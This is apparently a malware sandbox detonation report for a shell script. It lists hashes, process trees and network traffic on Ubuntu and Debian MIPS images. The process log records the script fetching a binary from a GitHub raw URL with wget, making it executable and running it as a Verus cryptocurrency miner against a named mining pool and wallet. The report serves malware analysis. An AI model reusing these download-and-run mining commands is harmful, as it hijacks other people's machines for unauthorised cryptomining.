SHA256 ecce504b2ec511dab129bd580b978d50e8ed6d98529df19f9f2bb2d43a96625d
SHA512 b23a18fb6fa39b4b92177858ea4bbf007e03a5c29f6b3c224e59d2c52be27b8d7c2d65c5bec7bc1e071476da2d95bbb8ddac6b95427783f891b8db372d2239c9

/var/lib/dpkg/updates/tmp.i

MD5 c2f6372344c2fbdcda64152447e25d20
SHA1 78fc6b44ef57bfdac7ff1f354304ab6e477c017c
SHA256 bfef756dffc05c306c421876fe585bb231e8f1cd677f55b690f7c160b2f58981
SHA512 8cad1a03eff726cf9d450664d879422b2d867820a248de509a452132dee575cefa32fff7f53e86551df37ced597c35319a18667cf326fd56671b6fb9cf409fcb

/var/lib/dpkg/tmp.ci/conffiles

MD5 7fb8d59e7faecf6518fb9f76feebc527
SHA1 ebe2a35b012622e8de1dcad99b7d85dcbb6bfdae
SHA256 f7e711637368393ee8b3f9f315e449de719cbc033b4175baf7e9e9b39c30bc30
SHA512 585c91550abacbccd033db623924ddb89f3c16658568bc381f8759a329b52dd159ff9f540f1731b3ff1666fc754b436b69027d8b14c80557e984770a673fe3a0

/var/lib/dpkg/tmp.ci/control

MD5 66eda99ea11aba5432a3ee5adf56331d
SHA1 dc02043801a4cbae36d88606c2bc84fc75ee1d90
SHA256 e216fcea2cc1445fc814141c9f7f0b0f7c5e48eb259b8e4220c5e19292b9b0b8
SHA512 b0a06ed09df497160b8d543ffdead4d13cc2b3d2a5fc38c633a3745f099681e3a406fbe91de1caf00ec8f89d411b2dd6358c3304d37ef34c5ad8ab7db67b1ccc

/var/lib/dpkg/tmp.ci/md5sums

MD5 1a8653da721c5464955b4f5698809e2b
SHA1 ccd0cf564b344077156bde423153fa2212d4841c
SHA256 4451f95791371a59485e7dccbb7aef1daa4c2f8f5d68e3d997de6b1383c8c470
SHA512 060060975e0eeac8a474be3b8700ed8ea15405590d4ffa2eaea2a342a06558d1fac2eff43006a8c8ff33afd91d3085feaad9a17b57709ece940a488d4c291b91

/var/lib/dpkg/updates/tmp.i

MD5 89d1c6b23ab4fe5a6e96963652b39181
SHA1 1842ecb725ba95e60eb2f3a8f40899a838a51e6d
SHA256 9453b33da28a5a9cadb96f9a9e1d825728379893d2fe4900826653220a5039f2
SHA512 6c892ea439b33cee1e7ee82ad275848d20bc3decfa755a19c4712fbfb1b25ce02d9b7f83217108eaf58008b08473dededf891eb81cc203c6e90ed2bf4ee6d652

/var/lib/dpkg/updates/tmp.i

MD5 66d1ba037064f5579ff9ad373c7d10c3
SHA1 a3400553563ddb0d2e4d5eabca9467162e6702ca
SHA256 456db72fffa4e2a7235befa8b6695d126505c506dc4389d41ba9f57ace0ca769
SHA512 b19fccbfadb8215f5e51cda7269fb74f563a085af7b266db1ad329ac1398fd4dbcc9f0422616f1609070a7092801429ae1e3194cf852bda888763e19d8bdbfc1

/var/lib/dpkg/updates/tmp.i

MD5 813af0d797ca8b61732de4f5695f91a6
SHA1 d354c22e5720a8a6f0bbc7ef01df0506ceae0251
SHA256 121519d0a9ef3847de30ebd84ec2e8b6042e0ca7a045743aff9bf5569d4716e5
SHA512 ebfbfa6906f0a40b258277215a6f55aeface51ae90f2f27e190f5097e03a65e3253bc824ad5de5f923a56077edf4c5969914e5cfbc6bbadf8f9e11dcb549b677

/var/lib/dpkg/tmp.ci/control

MD5 682de3a0e3c16ea52fcc8dfebbf9f61e
SHA1 b030f5619893f8ad25d982a38942d5ddc8a86279
SHA256 fb4664121d9743f815225dd065c8877cb323e2c63cae4ac4ba283955a9fdeb71
SHA512 ae8c88cc769931143246ea060872d94236165aed1f86e8da43a8df50f9ccfdc805848b5b4c9c61cfba4868491ef99506aba91fc6fedf50d27d67c420f339c848

/var/lib/dpkg/tmp.ci/md5sums

MD5 83c7dbc181c17e1d65342782d51ea0a9
SHA1 55bd8cab9232c3a3af72f32c0398c529567ce5ef
SHA256 d183fc814fc2a6872f8d458ca9d41aaf70f786ce9a0ee8bc21371967a1314881
SHA512 a2e8c196d5b3ff02106aaa3468145b9410a01379f9f813d297b31c97394e3c64ada57de6c8c2e9d2f7648d5688e73ae668b3c3fd953d90b2d403dc85ccd28055

/var/lib/dpkg/updates/tmp.i

MD5 1b884a435b01d95f5d34dee85b9b026d
SHA1 4d044f6e1f82f9efb6771981eec7e83787d896de
SHA256 08ad3e10c886f50ecff0928bc40f37ebdd894916efe63d1bcaca1f3f3b498b2d
SHA512 264bcf4805bd9369d06d675c6e936242fff35539252edb7c31340097f6e82daf6779dde4ec6cccbab67853cb634840909b0eb9f86443f3e7929e425c42929ab2

/var/lib/dpkg/updates/tmp.i

MD5 edae9b7299f2afc09258160786a4dada
SHA1 dd7aa0c8aa29e937efd88b9eb39811e1460b62b9
SHA256 cf7d2275d2effcc231f426e078582b9665c4a2407e267c9e25546220308dd569
SHA512 0e3341d862dde54e87b2cea0384cc79a4594f7a22a322d501fbb386559511cc8e6046bf134bc1496d04bddb80c8213dd0438368d3a5d20b82099a5a4c9cc30ff

/var/lib/dpkg/tmp.ci/control

MD5 8130a1654ba2f3d32cdb6d5b6bd5a22b
SHA1 47e7078271f4c94168debcde5cb46066a511c539
SHA256 ca743d752f319bb6dc0ba0b86c7f6e1c0106624c8a11575463b4f095f491885d
SHA512 a0f76776474e51371dea71507998fd41daebf9d7e88dbb17ebb2bcd6ec6fc956ffee5569c30b68cd60f4bda232e67aceaf8ff10e93bb7593f049f12522c4be36

/var/lib/dpkg/tmp.ci/md5sums

MD5 73993d9d7f0cf44cbc274bbb6b82ce19
SHA1 e9116b5ef10f534a7e6853c2a2c7788280eb1e20
SHA256 69cbf62368eab7b2b8d19c36733d04aeed24478cb2ceebb3e4832b22e48adb63
SHA512 86c814183c7627a48147b642f03dc482168c7d8b7b996dd093d75b4bc1a6abdb9e13964f0604dd3b409c80e63fafa68005fb71b5b36ad3b57567db3ba8e11875

/var/lib/dpkg/tmp.ci/postinst

MD5 d884924622525a160d85e7b3747b72c8
SHA1 e3db33953dc7b4394007505af00327e109933b58
SHA256 f28c9c6f405122a233e75d52b17e698a4fb1f4777514b7b2ba7b8d523fde1e7a
SHA512 67ef5d074c8fba481a59117c340cf8df2999d56a9c0b4fb26d2963bf82214b9666a082d80f22ebc677e4fc49a390eb5ea5dcce436a7ae35281b2c73a5d413459

/var/lib/dpkg/tmp.ci/preinst

MD5 bb9b8988ce60e35f708e1eceb984d228
SHA1 dc63682111ca86b93713aa2fe3e38f42d95414c2
SHA256 bd4ec64c1e8f9ee9b8dbce561896d371a309b78b14ee4a50c571006b885639c4
SHA512 be22d4bbcd230c26bca111aca3ea9cd6fa48955e78cefba3a14f44d988be9ecefe0bb4a850ee2bc5de52a5d6b12522a7a82c1e297a52d45982bf85109810d0d8

/var/lib/dpkg/tmp.ci/prerm

MD5 cccd00898ed5aeff58e4e7243c6eb6c4
SHA1 e979aacaf157611a54bacd21cd2ed7f4822aba9c
SHA256 9ab6c01eea003d9f2d7f95fb2913a026d565206d90e2384ea281cd5272c138f3
SHA512 563c5baaf8040b6e8fd0cfe03442b6d550398af55708942a99a6a003dc8ae370686c7d7f7bdc806fbc13965667c85a0ca801c30dba634c3b0456a1b8081269f2

/var/lib/dpkg/tmp.ci/control

MD5 c3641973cbc530200969285cdb88d000
SHA1 0028aeebca714e44898cb6a21ee7cf4ead7f1246
SHA256 21ffe181a3cadcfab46ddd18c4bf574100c054051de11cfbcb5bba5f9b4fea9e
SHA512 ac0399683b2b1269f5eb7cf53d4cae49fda92c3d3cc1a1020051c58765e5a75315fa9d3f04abadf8caab9e245efd7815727a580ef08740492d79d176fb965b53

/var/lib/dpkg/tmp.ci/md5sums

MD5 3d091f6edf8201611104828ac919676c
SHA1 6d99c9f4626deffa0e1c44a7fc55d14280aa18d6
SHA256 d440936e9b6b2fafb0958417ea8fe9ef5255b13ac0585a4c1c7c4e745ad5eb07
SHA512 416777c3ca7fb43b870a8c66adfae82e6fd05978d41d3166f25a9de79b8212287c64909c94ce1473976f4bd57e929c9e7c0dc89c9967dabdd78d7ecd20e8e433

/var/lib/dpkg/info/libcurl4-openssl-dev:mipsel.list-new

MD5 05a484e578e720cb558e090359a0b835
SHA1 9d53b5f30a249b8783ab7a6f6ed9d53cada5cf54
SHA256 59fb450b9b5f9fb3f9434b9577e6c766b91fa133d6c7ce362e1e12db301d292e
SHA512 6a21daeb2d44cd0744da2bc6417819960c3131ffc71062134b8e6a60d60a2d9da128dea612db164167cfdb3fd142cef00c89ab043773c5c9307a43fec82bfd08

/var/lib/dpkg/tmp.ci/control

MD5 f1094f674ed5d86dbd93a18149bfa7b3
SHA1 118786fda3b595c138664d9d4ccc67ab30626640
SHA256 b121ff4a7383752ad98d2f2d7c3da48e8d55a0032bdf7e0ec7b4e6477e311c35
SHA512 67984bca5eb8312b9b5de8bcee2af1424524ea783406d7403d5d099176eed7f1ff38ad6d5f8d934286e2d2e211703873383a24f2fcdeca1256eea8ac84d49f00

/var/lib/dpkg/tmp.ci/md5sums

MD5 a1750d0963caa481d885d675d5a381b4
SHA1 431ac8389643a25e918b6334e47730187f4fb704
SHA256 eb5c870e8824e0c2cabb9ecb50fb270bd8982e34af46a55175669f40f0420915
SHA512 0c08a37c3c0624739bb18655938879c807b06d4122b508eeeece9c955c485c1ec7deeafd76d676d50d040f53bfebae92792882e2297a5078c8a007c35ca98f8d

/var/lib/dpkg/info/libjansson-dev:mipsel.list-new

MD5 cb9d72b196de12103fee6a8258f16473
SHA1 aa0a49b114db9608412c445be8972dc2dcdcb360
SHA256 f1f0ee8807391487eafb506f23bb5a6fd3a5fcefa4f17f3b9d960a64db966b36
SHA512 d2d139229f0888f2e294f0f365f7c1b85a5d8d7bcac1541fd79211feda3eb51fb43b5cccc6c45d277a926778f897231497d6d3615fb63aa3c8a9afe42e99ea23

/var/lib/dpkg/tmp.ci/control

MD5 a73e3660175eaae29dc8b69afb057b4a
SHA1 808451e22084b82d604aa39265b720ddd6436eed
SHA256 ac7790e5173acdcf7b7e6f74027449bc3e2df64a3b999bad938a2b61929b31f4
SHA512 63329d7ec9a9f190eda1b1e7b86d1d93aee15747bdd5d214ad608ad91e5bb8f8419c50a064398c12332b98e33b7abf5c499d2cbbdaaa6234f1d23e09e277c321

/var/lib/dpkg/tmp.ci/md5sums

MD5 bb3a1dcabc1b426c28187fb95ae98b99
SHA1 ba1a28ac42b10ee03d9a522fd87fb06487fa4571
SHA256 51c2a18c20c958f149531e3e1e71d4623bc840487769ded9aab5be6bdaa43231
SHA512 85bd69a82496291e39614a5d571f79a5f20fd6d6c993f39eaa39b847c3e2fd0ed9184967a79110b84e732688aee2f8cdb9c6872ccd20dc7cf327d5ef6d20e9ef

/var/lib/dpkg/tmp.ci/shlibs

MD5 c743d61fda09f77a4b29bca454907e4d
SHA1 c2841708473e23da96c3d9fa4a299a9c38398e57
SHA256 2bf9a2306a3c43c0aea3b098944f0e082f0d70222f4826d8a24a7456c788047d
SHA512 4ca8c2ddefdb9dc49fba4e852437bb64fa66ab26a164318c95c69ad5ef0d8479db174a97f5cdcd608b3e2aba7c239d5363425ebea50bff1555a2de66667f04b9

/var/lib/dpkg/tmp.ci/symbols

MD5 9d6f6205460865555f031fa666da66ae
SHA1 62d217c871820a9d6daa8ca6ca370dbbafbb888f
SHA256 0686eaf95fffc8e0b73c3fbf5c8e0ceeacd0b123e3d98b5c8ebb59757e6c36dc
SHA512 ac35a59cce262dde67ea9d09ff3ed22128360ffb87efccc2bfaa39d09aa01cf4bb72cdddaf564908730ff6a388fed2607743b3d22d1bc4fe6a32cf8568856eee

/var/lib/dpkg/tmp.ci/triggers

MD5 64ea5bb4f123b7654073a859495b2d8e
SHA1 d3ef61b64d284b8d306df49b896f5c44c4641dab
SHA256 f2bec0f57ef529571abb4370d4e3cfa911ae3606a0d31559bca5980c0a1de91e
SHA512 75c88e412423662e36e402bccf45f8690a72c10d15189482ef685bdcf19761ce1024c7b6c6bfad01c29108bf5ab7eaed1a682506b180a1da3e1292d8fddc4102

/var/lib/dpkg/info/libomp5:mipsel.list-new

MD5 0e06eafd7a7de815c296ddc761d87c7c
SHA1 d570da008aacb381f4986bea55ad5c50a2c43fb5
SHA256 10fca1c226e210b70a3b22f938a4d33d0f8a6bd0e704638db6ed91cbf3b7c175
SHA512 5e23ed2d24ee07ab5122b03e9b41f6512536331d60e28b4dabc8b83c5e9f6337f9925fb5872c4de29aed8b7e0d7ad998e6ce7521cddf676c7ac94289d2540844

/var/lib/dpkg/status-new

MD5 7dc7122886978a96f8ca86468cfbbe71
SHA1 c1bb033ae674e28309ee18371736e9dd7747bc2c
SHA256 2a29bd02a31691d6708387407b9f09e5e515949bcf1db3a607d97d5202d43c6a
SHA512 9a56247532b861dffaa2a12a98311f45658cfaad0af55f60279f9d843d640a4ac02c242102c7fe88dc6de2d643d946dff52af5de26fdd1b42bbcd6abae18ce8b

/var/cache/ldconfig/aux-cache~

MD5 21b23aa1f43d87882f48e9a2cdfe29a0
SHA1 78f84ee857c6a17b2a384371043112c8fc9eb576
SHA256 826cd568a08e8638724e102e68aedd43221178703f806634fda69f7f2c0b1307
SHA512 88c568252e1a8a91fdd14138fb461fd5925aa28f0e546fb13bc1d61d81002aff0106b1e535e9db205fa6c14c71c04ab32e911c4a82119db740602315455601ae

/var/lib/dpkg/status-new

MD5 8bdc7832ef960d1c82340c1836552e10
SHA1 91a32e1b91e397e91b9e06e409d8731ee7fc518f
SHA256 9d4ebaa9f851f16449e10a950be56d9c0a4f588b6bee05ef108e4b1d17ae67a7
SHA512 d2ea6cfbd1ef3a21af8d944a988c37faae0bf6d49a6c3ae9cf71f6b7b2a7342fee40a9efef6e6c60bde17462c06f947a0a0faca5f23b0ee5ea4f4ded05526a70

Analysis: behavioral7

Detonation Overview

Submitted

2024-07-14 13:29

Reported

2024-07-14 14:00

Platform

ubuntu2004-amd64-20240611-en

Max time kernel

0s

Max time network

1679s

Command Line

[/tmp/triage-script.sh]

Signatures

Executes dropped EXE

Description Indicator Process Target
N/A /tmp/cc /tmp/cc N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Reads runtime system information

Description Indicator Process Target
File opened for reading /proc/filesystems /usr/bin/sudo N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/bin/sudo N/A
File opened for reading /proc/self/stat /usr/bin/sudo N/A
File opened for reading /proc/self/fd /usr/bin/sudo N/A
File opened for reading /proc/self/fd /usr/bin/apt-get N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/1383/status /usr/bin/apt-get N/A

Writes file to tmp directory

Description Indicator Process Target
File opened for modification /tmp/clearsigned.message.O7BDxn /usr/bin/apt-get N/A
File opened for modification /tmp/clearsigned.message.Pv4LBp /usr/bin/apt-get N/A
File opened for modification /tmp/clearsigned.message.cVOz8o /usr/bin/apt-get N/A
File opened for modification /tmp/clearsigned.message.0XToBn /usr/bin/apt-get N/A
File opened for modification /tmp/clearsigned.message.LBAjxn /usr/bin/apt-get N/A
File opened for modification /tmp/clearsigned.message.svavKl /usr/bin/apt-get N/A
File opened for modification /tmp/cc /usr/bin/wget N/A
File opened for modification /tmp/clearsigned.message.8YfZPl /usr/bin/apt-get N/A
File opened for modification /tmp/clearsigned.message.2niQNm /usr/bin/apt-get N/A
File opened for modification /tmp/clearsigned.message.Trx6fn /usr/bin/apt-get N/A
File opened for modification /tmp/clearsigned.message.HzS7xo /usr/bin/apt-get N/A
File opened for modification /tmp/clearsigned.message.vN4J5n /usr/bin/apt-get N/A
File opened for modification /tmp/clearsigned.message.T8qa8n /usr/bin/apt-get N/A
File opened for modification /tmp/clearsigned.message.jxd7on /usr/bin/apt-get N/A
File opened for modification /tmp/clearsigned.message.Thdb2o /usr/bin/apt-get N/A
File opened for modification /tmp/clearsigned.message.9KL8Al /usr/bin/apt-get N/A
File opened for modification /tmp/clearsigned.message.PYgWKo /usr/bin/apt-get N/A

Processes

/tmp/triage-script.sh

[/tmp/triage-script.sh]

/usr/bin/sudo

[sudo apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]

/usr/bin/apt-get

[apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]

/usr/bin/dpkg

[/usr/bin/dpkg --print-foreign-architectures]

/usr/bin/wget

[wget https://raw.githubusercontent.com/MomboteQ/Free-Crypto-Mining/main/verus/cc]

/usr/bin/chmod

[chmod +x cc]

/usr/bin/clear

[clear]

/usr/bin/nproc

[nproc]

/tmp/cc

[./cc -a verus -o stratum+tcp://de.vipor.net:5040 -u RHACKERwSVgjTvV4vNiTjmrkLTD7a92ALD.Linux -p x -t 1]

Network

Country Destination Domain Proto
N/A 224.0.0.251:5353 udp
US 1.1.1.1:53 raw.githubusercontent.com udp
US 1.1.1.1:53 raw.githubusercontent.com udp
US 185.199.111.133:443 raw.githubusercontent.com tcp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
GB 185.125.190.49:80 connectivity-check.ubuntu.com tcp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
GB 185.125.190.48:80 connectivity-check.ubuntu.com tcp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 91.189.91.96:80 connectivity-check.ubuntu.com tcp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 91.189.91.48:80 connectivity-check.ubuntu.com tcp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
GB 185.125.190.49:80 connectivity-check.ubuntu.com tcp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 1.1.1.1:53 connectivity-check.ubuntu.com udp
US 91.189.91.97:80 connectivity-check.ubuntu.com tcp

Files

/tmp/clearsigned.message.8YfZPl

MD5 f7baae962e2417343c0d68864dea6b69
SHA1 014599a6b6aff7497bc72d0f6ae30f7aa6383c1a
SHA256 52486e27d87061aa66607e1c03ab199be5658c67d4f166c20793ded09859bd6f
SHA512 fc0fca14d6752a81dfb433846e08ece181a51f72210126d935b6dde959aba36a04f5a92c2a0c2927c47e646807438f588b3f04f616ea34a10204baf54541bf23

/tmp/cc

MD5 4011d473f6b06caa7f3d514e4eeb2184
SHA1 529bda4d64920cac51baa6b34b8bcabf19d97248
SHA256 bf7d1a01e88322991a824676601b46be7625b50a9d8ee8de085cc86ba76f7bc2
SHA512 45f9da5d9f43c1876fc3659a8e7e03b9d06ec83bf6c8d237daf3809cbec01a5c59688a1cf4780d695750fc42920428ff69545f5dce11b888418df919c3625f39

/root/.wget-hsts

MD5 2160311ec832d6b18072404331de80dc
SHA1 e96862ac9159de05bc02729236d48dfba6306512
SHA256 abcfb8f6d35882f8f50b8d9fc3c7b4d71e2fd6eb8cd297976491ee598dc844d2
SHA512 78d7266adbd416f0c397029b1452ce095c352354f4d4d90a39828cc2f337ec877a29d06c44e1a77819a76a3d4e537937f521429ccae5af87977fadb567aaaf6f

Analysis: behavioral4

Detonation Overview

Submitted

2024-07-14 13:29

Reported

2024-07-14 14:00

Platform

debian9-mipsbe-20240418-en

Max time kernel

54s

Max time network

1706s

Command Line

[/tmp/triage-script.sh]

Signatures

Executes dropped EXE

Description Indicator Process Target
N/A /var/lib/dpkg/tmp.ci/preinst /var/lib/dpkg/tmp.ci/preinst N/A
N/A /var/lib/dpkg/info/automake.postinst /var/lib/dpkg/info/automake.postinst N/A

Deletes log files

Description Indicator Process Target
File deleted /var/log/apt/eipp.log.xz /usr/bin/apt-get N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Write file to user bin folder

Description Indicator Process Target
File opened for modification /usr/bin/autoconf.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/dh_autotools-dev_updateconfig.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/aclocal-1.15.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/automake-1.15.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/curl-config.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autoreconf.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autom4te.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autoupdate.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autoheader.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autoscan.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/ifnames.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/dh_autotools-dev_restoreconfig.dpkg-new /usr/bin/dpkg N/A

Reads CPU attributes

Description Indicator Process Target
File opened for reading /sys/devices/system/cpu/online /usr/sbin/exim4 N/A
File opened for reading /sys/devices/system/cpu/online /usr/sbin/exim4 N/A

Reads runtime system information

Description Indicator Process Target
File opened for reading /proc/sys/kernel/ngroups_max /usr/sbin/sendmail N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/sbin/sendmail N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /bin/tar N/A
File opened for reading /proc/filesystems /bin/tar N/A
File opened for reading /proc/filesystems /bin/tar N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /usr/bin/sudo N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/bin/sudo N/A
File opened for reading /proc/self/fd /usr/bin/apt-get N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/bin/apt-get N/A
File opened for reading /proc/filesystems /bin/tar N/A
File opened for reading /proc/self/fd /usr/bin/sudo N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /bin/tar N/A
File opened for reading /proc/filesystems /bin/tar N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/self/stat /usr/bin/sudo N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /bin/tar N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A

Writes file to tmp directory

Description Indicator Process Target
File opened for modification /tmp/fileutl.message.s6UxVH /usr/bin/apt-get N/A
File opened for modification /tmp/fileutl.message.K7UhxW /usr/bin/apt-get N/A
File opened for modification /tmp/fileutl.message.HJkzQf /usr/bin/apt-get N/A
File opened for modification /tmp/fileutl.message.mkyuQG /usr/bin/apt-get N/A
File opened for modification /tmp/fileutl.message.PqHNYa /usr/bin/apt-get N/A
File opened for modification /tmp/fileutl.message.8JVpfA /usr/bin/apt-get N/A
File opened for modification /tmp/fileutl.message.kzLfLy /usr/bin/apt-get N/A
File opened for modification /tmp/fileutl.message.LQoJNy /usr/bin/apt-get N/A

Processes

/tmp/triage-script.sh

[/tmp/triage-script.sh]

/usr/bin/sudo

[sudo apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]

/usr/sbin/sendmail

[sendmail -t]

/usr/sbin/sendmail

[sendmail -t]

/usr/bin/apt-get

[apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]

/usr/bin/dpkg

[/usr/bin/dpkg --print-foreign-architectures]

/usr/sbin/exim4

[/usr/sbin/exim4 -Mc 1sSxQx-0000Bf-HY]

/usr/sbin/exim4

[/usr/sbin/exim4 -Mc 1sSxQx-0000Bi-Li]

/usr/bin/dpkg

[/usr/bin/dpkg --print-foreign-architectures]

/usr/lib/apt/methods/http

[/usr/lib/apt/methods/http]

/usr/lib/apt/methods/http

[/usr/lib/apt/methods/http]

/bin/sh

[/bin/sh -c /usr/sbin/dpkg-preconfigure --apt || true]

/usr/sbin/dpkg-preconfigure

[/usr/sbin/dpkg-preconfigure --apt]

/usr/local/sbin/locale

[locale charmap]

/usr/local/bin/locale

[locale charmap]

/usr/sbin/locale

[locale charmap]

/usr/bin/locale

[locale charmap]

/bin/sh

[sh -c stty -a 2>/dev/null]

/bin/stty

[stty -a]

/bin/sh

[sh -c stty -a 2>/dev/null]

/bin/stty

[stty -a]

/bin/sh

[sh -c stty -a 2>/dev/null]

/bin/stty

[stty -a]

/bin/sh

[sh -c stty -a 2>/dev/null]

/bin/stty

[stty -a]

/bin/sh

[sh -c stty -a 2>/dev/null]

/bin/stty

[stty -a]

/bin/sh

[sh -c stty -a 2>/dev/null]

/bin/stty

[stty -a]

/usr/bin/dpkg

[/usr/bin/dpkg --assert-multi-arch]

/usr/bin/dpkg

[/usr/bin/dpkg --status-fd 14 --no-triggers --unpack --auto-deconfigure --recursive /tmp/apt-dpkg-install-pTDhdF]

/usr/local/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-pTDhdF/0-autoconf_2.69-10_all.deb]

/usr/local/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-pTDhdF/0-autoconf_2.69-10_all.deb]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-pTDhdF/0-autoconf_2.69-10_all.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-pTDhdF/0-autoconf_2.69-10_all.deb]

/usr/local/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-pTDhdF/0-autoconf_2.69-10_all.deb /var/lib/dpkg/tmp.ci]

/usr/local/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-pTDhdF/0-autoconf_2.69-10_all.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-pTDhdF/0-autoconf_2.69-10_all.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-pTDhdF/0-autoconf_2.69-10_all.deb /var/lib/dpkg/tmp.ci]

/usr/local/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/local/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/sbin/tar

[tar -x -f - --warning=no-timestamp]

/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/local/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-pTDhdF/0-autoconf_2.69-10_all.deb]

/usr/local/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-pTDhdF/0-autoconf_2.69-10_all.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-pTDhdF/0-autoconf_2.69-10_all.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-pTDhdF/0-autoconf_2.69-10_all.deb]

/usr/local/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/local/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/local/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-pTDhdF/1-autotools-dev_20161112.1_all.deb]

/usr/local/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-pTDhdF/1-autotools-dev_20161112.1_all.deb]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-pTDhdF/1-autotools-dev_20161112.1_all.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-pTDhdF/1-autotools-dev_20161112.1_all.deb]

/usr/local/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-pTDhdF/1-autotools-dev_20161112.1_all.deb /var/lib/dpkg/tmp.ci]

/usr/local/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-pTDhdF/1-autotools-dev_20161112.1_all.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-pTDhdF/1-autotools-dev_20161112.1_all.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-pTDhdF/1-autotools-dev_20161112.1_all.deb /var/lib/dpkg/tmp.ci]

/usr/local/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/local/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/sbin/tar

[tar -x -f - --warning=no-timestamp]

/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/local/sbin/dpkg-deb

